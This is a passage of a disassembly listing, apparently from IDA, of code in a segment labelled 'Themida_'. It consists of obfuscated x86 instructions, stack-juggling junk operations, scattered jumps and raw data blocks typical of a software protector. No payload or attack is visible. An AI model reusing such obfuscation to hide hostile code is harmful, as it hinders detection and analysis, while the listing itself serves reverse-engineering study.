; ---------------------------------------------------------------------------
		db 89h,	0E7h, 53h
		dd 0FFCFBDE9h, 0C48159FFh, 4, 0B9665166h, 166720Ch, 6604244Ch
		dd 0E9240C8Bh, 61Bh, 4A88C981h,	0E981592Ch, 7A8903C7h
		dd 67DEF181h, 0C1816F79h, 7F6013B8h, 0EC3AE949h, 0C483FFFFh
		dd 0E7E98104h, 0E9221F09h, 0FFFF358Bh, 80A3F180h, 7F049FF1h
		dd 0FF6CF7E9h, 0B8C780FFh, 0D7F6DFF6h, 52EE9h, 24048900h
		dd 4C2FE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AA5E:				; CODE XREF: Themida_:0055A8F3j
		add	edi, ecx
		pop	ecx
		add	edi, 0F4CCFB3Eh
		push	604Ch
		mov	[esp], eax
		jmp	loc_55BE35
; ---------------------------------------------------------------------------


loc_55AA74:				; CODE XREF: Themida_:00554408j
		mov	eax, 20015621h
		shr	eax, 3
		dec	eax
		sub	eax, 35B39DAFh
		jmp	loc_55C981
; ---------------------------------------------------------------------------
		db 2Dh
		dd 59BA3E33h, 7C46042Dh, 5D8014Ah, 4A7C4604h, 0FF67C5E9h
		dd 0E9E589FFh, 1E93h, 0FF331CE9h, 88E95FFFh, 5B000029h
		dd 348BF231h, 4C48124h,	1000000h, 34B9E9D1h, 0C289FFFFh
		dd 8BF22958h, 0C4812434h, 4, 0E9565142h, 119Fh
; ---------------------------------------------------------------------------


loc_55AAD8:				; CODE XREF: Themida_:0054F2DEj
		dec	ah
		jmp	loc_5547D6
; ---------------------------------------------------------------------------


loc_55AADF:				; CODE XREF: Themida_:005619ECj
		mov	ebx, [esp]
		jmp	loc_5560BD
; ---------------------------------------------------------------------------


loc_55AAE7:				; CODE XREF: Themida_:0055F173j
		pop	eax
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_552928
; ---------------------------------------------------------------------------


loc_55AAF3:				; CODE XREF: Themida_:00553FB0j
		shr	eax, 18h
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		push	ebx
		push	esi
		pop	ebx
		jmp	loc_55E123
; ---------------------------------------------------------------------------
		dw 0C101h
aXhse		db 'Xh˜e',0
		align 2
		dw 1C89h
		dd 3AAFBB24h, 0BF573E7Ch, 267E4D23h, 0CF81DFF7h, 47424ADEh
		dd 5623E9h, 1C77FF00h, 6659669Dh, 9C241CD3h, 0FF328CE9h
		dd 7E6853FFh, 5B3E8D38h, 4689C381h, 0F3813B01h,	66864D68h
		dd 0BA5BDE89h, 1F083273h, 0FFD42EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AB59:				; CODE XREF: Themida_:0054FD10j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 3FCh
		jmp	loc_560686
; ---------------------------------------------------------------------------
		dd 0B73F4DB8h, 10D00D16h, 7CE9676Eh
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AB7B:				; CODE XREF: Themida_:0055E3AFj
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	al, 6Ch
		sub	al, cl
		push	ecx
		mov	ch, 0ADh
		jmp	loc_55457F
; ---------------------------------------------------------------------------


loc_55AB9D:				; CODE XREF: Themida_:0055CF13j
		shl	ecx, 6
		and	ecx, 329062A8h
		sub	ecx, 524C48A3h
		mov	esi, ecx
		pop	ecx
		xor	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55EEE5
; ---------------------------------------------------------------------------
		db 87h
		dd 335C241Ch, 2C31242Ch, 242C3324h, 2404215Ch, 31EFE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ABD6:				; CODE XREF: Themida_:0054E7ADj
		inc	al
		jmp	loc_55B8F6
; ---------------------------------------------------------------------------
		db 68h,	37h, 24h
		dd 2C890000h, 7B7D6824h, 815D249Fh, 19576EC5h, 1B95175h
		dd 1000000h, 0E5C159CDh, 3E5C105h, 1A4FE9h, 24048900h
		dd 0C60073B0h, 0FFBC5CE9h, 2434FFFFh, 5524048Bh, 0FFA821E9h
		dd 68E189FFh, 3FCBh, 0BD242C89h, 2C055199h, 0ED81DDF7h
		dd 3AFC6E72h, 0E908E5C1h, 0FFFF6D11h, 8B2434FFh, 0C4812404h
		dd 4, 7D9D68h, 241C8900h, 40E9h, 316BE900h, 2C89FFFFh
		dd 243C8724h, 1E9D7F7h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AC67:				; CODE XREF: Themida_:0056138Dj
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_55E96D
; ---------------------------------------------------------------------------
		dd 42474FFh, 582434FFh,	0FF8A97E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AC81:				; CODE XREF: Themida_:00558C29j
		mov	eax, edi
		jmp	loc_55D6BC
; ---------------------------------------------------------------------------


loc_55AC88:				; CODE XREF: Themida_:0055DA8Fj
		mov	bh, 0AAh
		jmp	loc_5549AB
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFA847E9h, 95E950FFh, 8100006Dh, 4E1C47E9h,	0A0E9813Bh
		dd 11A5D44h, 0E95159CFh, 1B2Ch,	8B2434FFh, 0C4812404h
		dd 4, 0FFCF62E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55ACC1:				; CODE XREF: Themida_:0055245Ej
		add	edx, 45D63257h
		neg	edx
		not	edx
		xor	edx, 165282FBh
		jmp	loc_54E3CC
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 0FFB617E9h, 240C89FFh, 0FFA63BE9h, 2434FFFFh, 0E924048Bh
		dd 5A21h, 0C688F588h, 5966E888h, 0EC815E2Ch, 4,	0B6241489h
		dd 9242E9D5h, 3C89FFFFh, 2474FF24h, 48F5F04h, 0C6835C24h
		dd 24348704h, 4BD555Ch,	56000000h, 0DB29B6BEh, 5DF68104h
		dd 814E4073h, 15C8A0C6h, 5EF229C0h, 7723C281h, 67E90501h
		dd 8000001Fh, 0D52850EAh, 59E8305Ah, 1B09E9h
		db 0
; ---------------------------------------------------------------------------


loc_55AD51:				; CODE XREF: Themida_:00554660j
		add	eax, 7F7779FFh
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		push	35DEh
		mov	[esp], ecx
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_54F6E9
; ---------------------------------------------------------------------------


loc_55AD7C:				; CODE XREF: Themida_:0054F1B4j
		mov	ecx, 4
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55C7CC
; ---------------------------------------------------------------------------


loc_55AD95:				; CODE XREF: Themida_:0055DA87j
		xchg	edi, esi
		jmp	loc_54F78E
; ---------------------------------------------------------------------------


loc_55AD9C:				; CODE XREF: Themida_:0055A5C8j
		sub	bl, al
		sub	bl, 0DEh
		jmp	loc_54DF89
; ---------------------------------------------------------------------------


loc_55ADA6:				; CODE XREF: Themida_:0055CD50j
		add	esp, 2
		jmp	loc_54E297
; ---------------------------------------------------------------------------


loc_55ADAE:				; CODE XREF: Themida_:0055FB33j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		jmp	loc_55B504
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 78h
		dd 0F71C9068h, 814949D9h, 0D81E77C1h, 624EE95Ah, 8B680000h
		dd 89000008h, 5B5E241Ch, 348BF089h, 4C48324h, 6884B951h
		dd 0BEE90291h, 89000037h, 0C2E9240Ch
		db 2Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AE03:				; CODE XREF: Themida_:0056136Aj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_558046
; ---------------------------------------------------------------------------


loc_55AE0E:				; CODE XREF: Themida_:0054F811j
		shl	ecx, 1
		shl	ecx, 1
		shl	ecx, 1
		push	edi
		jmp	loc_55336F
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 7CBA68h, 241C8900h, 2BBh,	39C18100h, 0E97C341Ah
		dd 15A2h, 8D2A4805h, 0E9E8012Fh, 3729h,	773A11BFh, 66EF817Eh
		dd 2970B039h, 66C781DFh, 5B70B039h, 4AD6B951h, 9EE90D4Ah
		dd 87FFFF83h, 685C240Ch, 68F9h,	57241C89h, 825EEBFh, 5FFB8944h
		dd 5233C281h, 0DA2907F3h, 5233EA81h, 34FF07F3h,	2434FF24h
		dd 0FFB2D0E9h, 241489FFh, 4BE9A3B6h, 8BFFFF80h,	22E92424h
		dd 0B9FFFF2Fh, 727073BCh, 0E981D9F7h, 522B2279h, 0E181D9F7h
		dd 3D3506D8h, 0B64BD55h, 0C2E97970h, 0BFFFFFACh, 37D76006h
		dd 8B5FFB29h, 89572434h, 4C781E7h, 0E9000000h, 0FFFF9A5Bh
		dd 815A5452h, 4C2h, 4BB5300h, 1000000h,	0FF525BDAh, 8B042474h
		dd 0C4812414h, 4, 5C24048Fh, 722BE981h,	0C4E958B1h, 0FF000027h
		dd 34FF2434h, 24048B24h, 4C481h, 89570000h, 4C781E7h, 0E9000000h
		dd 738Eh, 5358C201h, 4B698FBBh,	0E9DA2953h, 0FFFF7897h
		dd 148BD689h, 0FAECE924h, 7EE9FFFFh, 31FFFF2Eh,	0E46852D8h
		dd 5400006Ch, 0FF4264E9h, 243C29FFh, 4277E9h, 0C4835D00h
		dd 24048F04h, 0E924248Bh, 7820h, 7BA8C681h, 0EE010DD2h
		dd 7BA8EE81h, 875D0DD2h, 0ADE92434h, 80000043h,	0C78047C7h
		dd 5BFD8854h, 0E93ECD80h, 67B6h
; ---------------------------------------------------------------------------


loc_55AF94:				; CODE XREF: Themida_:00554DA4j
		add	ebp, ebx
		pop	ebx
		push	esi
		push	1951h
		mov	[esp], edi
		mov	edi, 747A510Fh
		mov	esi, 8B85AEF5h
		jmp	loc_557C2A
; ---------------------------------------------------------------------------
		db 87h
		dd 815C241Ch, 715A2AEBh, 0E9FB013Ch, 0AFh
; ---------------------------------------------------------------------------


loc_55AFC0:				; CODE XREF: Themida_:0055534Dj
		pop	esi
		and	ebx, 3C3F090Eh
		push	ecx
		jmp	loc_5597B3
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5804h, 75E6E924h,	15FFFFFh, 24348BF2h, 0E904C483h
		dd 0FFFFB955h, 2E7FE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AFEE:				; CODE XREF: Themida_:0055D848j
		add	esp, 4
		sub	esp, 4
		jmp	loc_554FF1
; ---------------------------------------------------------------------------
		db 5Fh,	0C1h, 0EBh
		dd 0FFC38302h, 0EF8EB81h, 0D9011F9Fh, 0B2B1E95Bh, 0C87FFFFh
		dd 0BDE95C24h, 81FFFF7Fh, 7E3596EDh, 0A3B8503Ch, 3117E755h
		dd 5E958C5h, 81FFFF75h,	2C4h, 6C016600h, 81660224h, 0C02246Ch
		dd 2C8B6672h, 2C48324h,	13F2E9h, 0C6816600h, 29663316h
		dd 55665EF3h, 0BD66h, 86ED8166h, 34E1E979h, 6B68FFFFh
		dd 8B579C7Ch, 84E9240Ch, 81000075h, 715A2AC3h, 82C3813Ch
		dd 81003E05h, 413449C3h, 243C8B61h, 0E9E38953h,	0FFFF4541h
; ---------------------------------------------------------------------------


loc_55B08C:				; CODE XREF: Themida_:00560FE1j
		mov	ebp, esp
		jmp	loc_5527BC
; ---------------------------------------------------------------------------


loc_55B093:				; CODE XREF: Themida_:00557968j
		sub	edi, ebx
		pop	ebx
		jmp	loc_5615AA
; ---------------------------------------------------------------------------
aS_7		db '\é;)',0
		db 0
; ---------------------------------------------------------------------------


loc_55B0A1:				; CODE XREF: Themida_:005613C5j
		mov	ebx, 560410D4h
		jmp	loc_55FB6C
; ---------------------------------------------------------------------------


loc_55B0AB:				; CODE XREF: Themida_:0054EB6Aj
		add	edx, 476B219Fh
		pop	ecx
		sub	edx, 4
		jmp	loc_551B54
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 0EC81DBF7h, 4, 0BF243C89h, 74AAF5D2h, 34FFFB29h, 0C4815F24h
		dd 4, 15BD829h,	686F05D8h, 7E9530Ah, 8FFFFF47h,	95C2404h
		dd 34FF1C77h, 2434FF24h, 0FFEC7CE9h, 24148BFFh,	5104C483h
		dd 4BB53h, 0D9890000h, 0E9CA015Bh, 5443h, 4240483h, 4BE5659h
		dd 1000000h, 53565EF1h,	0AB4A33BBh, 0E3D14B57h,	9460EB81h
		dd 0DE89AF56h, 74CE95Bh, 3C890000h, 81E78924h, 4C7h, 4EF8300h
		dd 0E9243C87h, 53DEh, 0BE243489h, 35661409h, 374BBB53h
		dd 4EE939E7h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B15F:				; CODE XREF: Themida_:005559C5j
		mov	esp, [esp]
		push	3DA7h
		mov	[esp], eax
		jmp	loc_54F5C7
; ---------------------------------------------------------------------------


loc_55B16F:				; CODE XREF: Themida_:0055878Ej
		mov	eax, 55C53095h
		sub	edi, 194A205Dh
		sub	edi, eax
		add	edi, 194A205Dh
		pop	eax
		xor	edi, 7DB43F9Fh
		or	ebp, edi
		pop	edi
		push	5D1Dh
		mov	[esp], ebx
		mov	ebx, 1713386Ah
		or	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_54EE6C
; ---------------------------------------------------------------------------
		db 4
		dd 0B2B3539Ah, 8085F380h, 0C38081EBh, 61EB8097h, 24E5E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B1B9:				; CODE XREF: Themida_:0054F46Ej
		and	esi, ebx
		pop	ebx
		xor	esi, 6040090h
		jmp	loc_550405
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 24048F04h, 0FF9B83E9h, 5BDD29FFh, 8B242C87h
		dd 14892424h, 28BA24h, 0EA810000h, 1C3B5973h, 0FF2CB4E9h
		dd 4C481FFh, 87000000h,	0DCE92434h, 68FFFFA0h, 37CCh, 68243489h
		dd 1, 0FFE5D7E9h, 0CDB252FFh, 0F6D2E280h, 53F280D2h, 806DCA80h
		dd 7D68A2F2h, 89000038h, 0B6B5240Ch, 805EE580h,	0F58026C5h
		dd 0E9EA007Eh, 0FFFF407Ah
; ---------------------------------------------------------------------------


loc_55B23C:				; CODE XREF: Themida_:005613CFj
		add	esp, 4
		add	ebx, 1
		add	ebx, 0B067EEF3h
		add	eax, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55FD9B
; ---------------------------------------------------------------------------


loc_55B25E:				; CODE XREF: Themida_:00550B2Ej
		sub	ebx, edi
		pop	edi
		add	ebx, ebp
		add	ebx, 2D8C2A2Eh
		jmp	loc_55BE97
; ---------------------------------------------------------------------------
		dw 0E800h
		dd 0FFB089E9h, 31F181FFh, 51500570h, 592404FFh,	274E181h
		dd 0F18140F6h, 413C706Dh, 0B2E9CF01h, 1000044h,	0C28158C2h
		dd 245E72D1h, 0FF36FFE9h, 0E0F281FFh, 13F2249h,	6AB5E9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B2AE:				; CODE XREF: Themida_:0055E332j
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		add	edi, esi
		push	dword ptr [esp]
		jmp	loc_55E2B9
; ---------------------------------------------------------------------------
		dw 0C138h
		dd 2AF7E99Ch, 1489FFFFh, 4EC8324h, 0BB241C89h, 32644D32h
		dd 1C8BDA89h, 4C48324h,	35A9CA81h, 0C28153FFh, 19AD3EB6h
		dd 23CDC281h, 38E906F7h, 0F7FFFF81h, 43EB87D5h,	0EB81D3F7h
		dd 1A5547F2h, 4093E9h, 241C8900h, 0C38002B3h, 5BDD28F6h
		dd 3000B252h, 0EDC05AD5h, 52EDD002h, 0C280BDB2h, 5AD5006Bh
		dd 3FD4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B331:				; CODE XREF: Themida_:00555D7Aj
		mov	ebx, 3DDD25BFh
		xor	eax, ebx
		pop	ebx
		push	ebx
		mov	ebx, 70282B1Bh
		shl	ebx, 6
		add	ebx, 0FD1A8B05h
		and	eax, ebx
		pop	ebx
		add	eax, 76822ED3h
		sub	eax, 3D3CCE78h
		mov	ebp, eax
		jmp	loc_5509E9
; ---------------------------------------------------------------------------


loc_55B35C:				; CODE XREF: Themida_:0055BC3Bj
		mov	esi, [esp]
		add	esp, 4
		push	eax
		jmp	loc_555E30
; ---------------------------------------------------------------------------
		db 0B9h
		dd 25577A85h, 0FF9E99E9h, 397568FFh, 1C890000h,	0F6FBB324h
		dd 0E9D386D3h, 0FFFF61FCh, 29E9C301h, 80000045h, 0C380E9EBh
		dd 0B0C3809Dh, 0EB80C328h, 9DEB80B0h, 0E9E9C380h, 5EC8h
		dd 0E9EE0159h, 0FFFF402Ah, 7784F381h, 0CB299D3Bh, 0FFE7B3E9h
		dd 0BF575EFFh, 62E74F72h, 8103E7C1h, 0F758AEF7h, 4DD2E962h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B3D2:				; CODE XREF: Themida_:0055338Aj
		mov	esi, eax
		pop	eax
		jmp	loc_562723
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 58BA6A0Ch, 1522F281h, 0C28137F4h, 7233DFD9h,	98E9D731h
		dd 50000031h, 6FA3E9h, 4C78100h, 83000000h, 3C8704C7h
		dd 0C4835C24h, 0EDC14504h, 0EE21E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B412:				; CODE XREF: Themida_:005536C5j
		not	edx
		and	edx, 14D827E6h
		dec	edx
		push	6A6Bh
		mov	[esp], edx
		push	edi
		mov	edx, [esp]
		add	esp, 4
		pop	edi
		dec	edi
		xchg	edi, edx
		jmp	loc_5537AE
; ---------------------------------------------------------------------------


loc_55B436:				; CODE XREF: Themida_:0055EA29j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_556265
; ---------------------------------------------------------------------------


loc_55B450:				; CODE XREF: Themida_:00558EE7j
		push	1BC24E1Fh
		mov	ecx, [esp]
		push	edi
		jmp	loc_558E4F
; ---------------------------------------------------------------------------
		dw 0FF68h
		dd 8900002Fh, 0BA522424h, 4, 4245401h, 2434FF5Ah, 5D2434FFh
		dd 8104C483h, 4C4h, 4EC8300h, 0BF243C89h, 4, 0F0DE9h, 555E5400h
		dd 0C5815D54h, 4, 8904EC83h, 4BF243Ch, 0E9000000h, 3810h
		dd 5C8968h, 24048900h, 4A5E68h,	242C8900h, 0EF1C4868h
		dd 242C8B63h, 4C481h, 50570000h, 0FFCE87E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B4D1:				; CODE XREF: Themida_:00556B26j
		add	ebx, 0FFFFFFFFh
		and	ebx, 68C572A0h
		add	ebx, 4883CD4Dh
		sub	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	esi, 10ED32DFh
		add	edi, esi
		jmp	loc_54E5DE
; ---------------------------------------------------------------------------
		db 68h,	0EBh, 0Ah
		dd 3C890000h, 0E9E78924h, 3EF7h
; ---------------------------------------------------------------------------


loc_55B504:				; CODE XREF: Themida_:0055ADC4j
		push	ebx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_553A5D
; ---------------------------------------------------------------------------
aSvs		db '(ØéVs',0
		dw 6600h
		dd 5024048Bh, 0EBE9E089h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B523:				; CODE XREF: Themida_:0055CC29j
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		xor	ebx, ebp
		xor	ebp, ebx
		xor	ebx, ebp
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		pop	ebp
		jmp	loc_555873
; ---------------------------------------------------------------------------


loc_55B541:				; CODE XREF: Themida_:00560B55j
		dec	edi
		not	edi
		dec	edi
		inc	edi
		or	edi, 6EB1510Ah
		sub	edi, 0FFFFFFFFh
		jmp	loc_55FE0C
; ---------------------------------------------------------------------------
		dd 0E9240489h, 0FFFF2869h, 3506E0C1h, 9FE58C12h, 41E9C789h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B56B:				; CODE XREF: Themida_:00559530j
		xchg	eax, ebp
		push	4CF1h
		mov	[esp], esi
		push	eax
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_556B40
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 53550000h, 0F37EB68h, 3134E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B5A2:				; CODE XREF: Themida_:0055B9E6j
		or	ebx, edi
		jmp	loc_55A91D
; ---------------------------------------------------------------------------


loc_55B5A9:				; CODE XREF: Themida_:0055FB5Fj
		mov	[esp], ebx
		push	0B6F6788h
		pop	ebx
		add	ebx, 732B352Bh
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_551623
; ---------------------------------------------------------------------------


loc_55B5C3:				; CODE XREF: Themida_:00551B2Ej
		shl	ebx, 8
		shl	ebx, 7
		sub	ebx, 72545ACAh
		sub	edx, ebx
		pop	ebx
		jmp	loc_5611A5
; ---------------------------------------------------------------------------
		db 5
		dd 0E949968Ah, 1679BD55h, 0EB291D75h, 81C3015Dh, 751679C3h
		dd 24048B1Dh, 4C481h, 10E90000h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B5FB:				; CODE XREF: Themida_:0055E6F3j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55EF0D
; ---------------------------------------------------------------------------


loc_55B609:				; CODE XREF: Themida_:0055D8E8j
		add	ecx, ebx
		pop	ebx
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55FB28
; ---------------------------------------------------------------------------


loc_55B61C:				; CODE XREF: Themida_:00552540j
		mov	ecx, 533F5F88h
		shr	ecx, 3
		jmp	loc_554D70
; ---------------------------------------------------------------------------
		db 0B3h, 7Ah, 80h
		dd 0E32858EBh, 5858C380h, 0E904EC83h, 0FFFFDA78h
; ---------------------------------------------------------------------------


loc_55B63C:				; CODE XREF: Themida_:0055FE83j
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	ecx
		jmp	loc_55E4BF
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E9502404h, 0FFFF5B37h, 5324148Bh, 0C381E389h, 4, 0E904C383h
		dd 0FFFFF937h, 7123C781h, 0CF0109CAh, 7123EF81h, 5D6809CAh
		dd 89000075h, 5CE92414h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B693:				; CODE XREF: Themida_:00552BE4j
		pop	esi
		jmp	loc_54EB68
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 2Ch
		dd 2474FF24h, 6DEAE904h, 0BF57FFFFh, 64965108h,	126AE9h
		dd 2571BF00h, 0C14F7591h, 0E95204E7h, 0FFFF79BFh, 40EDE981h
		dd 0F1013BE3h, 40EDC181h, 0BE563BE3h, 3F5547D7h, 0FF5FFBE9h
		dd 0A10FE9FFh, 0E789FFFFh, 22A9BA52h, 0CA816F54h, 565976ABh
		dd 0FF647BE9h, 94F681FFh, 814EBD30h, 1B2002C6h,	4EE981E0h
		dd 103C930h, 4EC181F1h,	5E03C930h, 0C8BC829h, 0DD4BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B716:				; CODE XREF: Themida_:0055773Ej
		mov	ecx, 65AD6B0Fh
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ecx, 22430570h
		sub	esi, 18825E1Bh
		sub	esi, 27834151h
		add	esi, ecx
		add	esi, 27834151h
		add	esi, 18825E1Bh
		mov	ecx, [esp]
		jmp	loc_56045B
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 4DDEE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B75A:				; CODE XREF: Themida_:0055D862j
		sub	esi, edx
		pop	edx
		jmp	loc_557796
; ---------------------------------------------------------------------------
		dw 9BB8h
		dd 0D7FC264h, 5B4974A0h, 0FF6B69E9h, 3641B9FFh,	0E1817F8Eh
		dd 6FF1213Ah, 0FFBA2CE9h, 1FEE68FFh, 1C890000h,	9091E924h
		dd 4B8FFFFh, 1000000h, 3C8758C7h, 0D3015C24h, 42DFBD55h
		dd 3C75B1Ch, 5B1C42DFh,	5B5D2B29h, 0FF4153E9h, 241C8BFFh
		dd 4C481h, 0C3810000h, 4, 3304EB83h, 1C31241Ch,	241C3324h
		dd 90E9h, 243C8700h, 0FF2C29E9h, 241C87FFh, 65C1355Ch
		dd 0E95E069Ah, 0FFFF7E14h
; ---------------------------------------------------------------------------


loc_55B7E8:				; CODE XREF: Themida_:0055F9DCj
		push	ebx
		push	edi
		mov	edi, 40135009h
		xor	edi, 45377C2Bh
		jmp	loc_55E4FF
; ---------------------------------------------------------------------------
		dw 34FFh
aSsxg		db '$[SéxG',0
		align 4


loc_55B804:				; CODE XREF: Themida_:0055D2B9j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 9Eh
		push	eax
		mov	ah, dh
		push	ebx
		mov	bh, ah
		mov	cl, bh
		pop	ebx
		jmp	loc_54E661
; ---------------------------------------------------------------------------
		dd 3166AD66h, 8B5452D8h, 0C4812414h, 4,	4BE56h,	0EA810000h
		dd 541177E4h, 0C281F201h, 541177E4h, 5157515Eh,	373A8FB9h
		dd 8E1C174h, 81D9F749h,	0A43E03E1h, 3E1C124h, 3D25E9h
		dd 24248B00h, 0E9240489h, 40D4h, 81E38953h, 4C3h, 4B95100h
		dd 1000000h, 61A6E9CBh,	0EC830000h, 243C8904h, 614E24BFh
		dd 5FF90175h, 0FFC070E9h, 2434FFFFh, 4C4815Eh, 81000000h
		dd 4ECh, 24048900h, 4B8h, 91E95100h, 29FFFFAEh,	0F75F243Ch
		dd 4EC81D7h, 89000000h,	34B82404h, 2D3C4950h, 489D3DB3h
		dd 3E8FB235h, 58C7010Fh, 4814EB81h, 0C3815C10h,	555A5098h
		dd 0EB81FB01h, 555A5098h, 4814C381h, 3C8B5C10h,	165E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B8F6:				; CODE XREF: Themida_:0055ABD8j
		add	al, 0DCh
		jmp	loc_55F721
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aS_8		db '$éÔ&',0
		align 2
		dw 0D9B8h
		dd 0E9379124h, 0FFFFEAC4h
; ---------------------------------------------------------------------------


loc_55B910:				; CODE XREF: Themida_:005536DFj
		pop	eax
		add	eax, 4
		push	ecx
		push	ebp
		jmp	loc_55FBD6
; ---------------------------------------------------------------------------
		db 31h,	0F0h, 0E9h
		dd 10DEh
; ---------------------------------------------------------------------------


loc_55B924:				; CODE XREF: Themida_:00552CC1j
		sub	eax, 6B6C647Fh
		sub	eax, 6F7F7940h
		sub	eax, 203E7331h
		jmp	loc_55918A
; ---------------------------------------------------------------------------


loc_55B938:				; CODE XREF: Themida_:00560498j
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_55A8B3
; ---------------------------------------------------------------------------


loc_55B947:				; CODE XREF: Themida_:00554D76j
		push	ebp
		mov	ebp, 37111B25h
		sub	ebp, 6A2E1C8Dh
		not	ebp
		dec	ebp
		not	ebp
		sub	ebp, 0EAA5E48Dh
		sub	ecx, 677A7B4Bh
		add	ecx, ebp
		add	ecx, 677A7B4Bh
		pop	ebp
		jmp	loc_54F685
; ---------------------------------------------------------------------------


loc_55B972:				; CODE XREF: Themida_:0055D756j
		mov	ecx, 61602000h
		add	ebx, ecx
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	3DB2h
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_552C81
; ---------------------------------------------------------------------------


loc_55B999:				; CODE XREF: Themida_:0055DE71j
		push	ecx
		mov	ecx, 37682024h
		jmp	loc_55D536
; ---------------------------------------------------------------------------


loc_55B9A4:				; CODE XREF: Themida_:00550C7Cj
		or	esi, 7E095099h
		shl	esi, 8
		inc	esi
		xor	esi, 9CAEAC54h
		xor	ebp, esi
		pop	esi
		add	esi, ebp
		pop	ebp
		and	edx, esi
		pop	esi
		jmp	loc_55D078
; ---------------------------------------------------------------------------


loc_55B9C2:				; CODE XREF: Themida_:00552984j
		mov	[esp], ebp
		jmp	loc_550E6F
; ---------------------------------------------------------------------------
aSO		db ')Ú[',9,'×é!o',0
		align 4


loc_55B9D4:				; CODE XREF: Themida_:005586E1j
		mov	edx, [esp]
		add	esp, 4
		and	ebx, 23186B67h
		push	edi
		mov	edi, 36D56CB9h
		jmp	loc_55B5A2
; ---------------------------------------------------------------------------
		db 89h
		dd 0FB015BDFh, 24B0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B9F5:				; CODE XREF: Themida_:0054E348j
		add	esi, ebp
		pop	ebp
		jmp	loc_556B03
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0FF24248Bh, 52582434h, 0FFAE92E9h
		db 0FFh
; ---------------------------------------------------------------------------


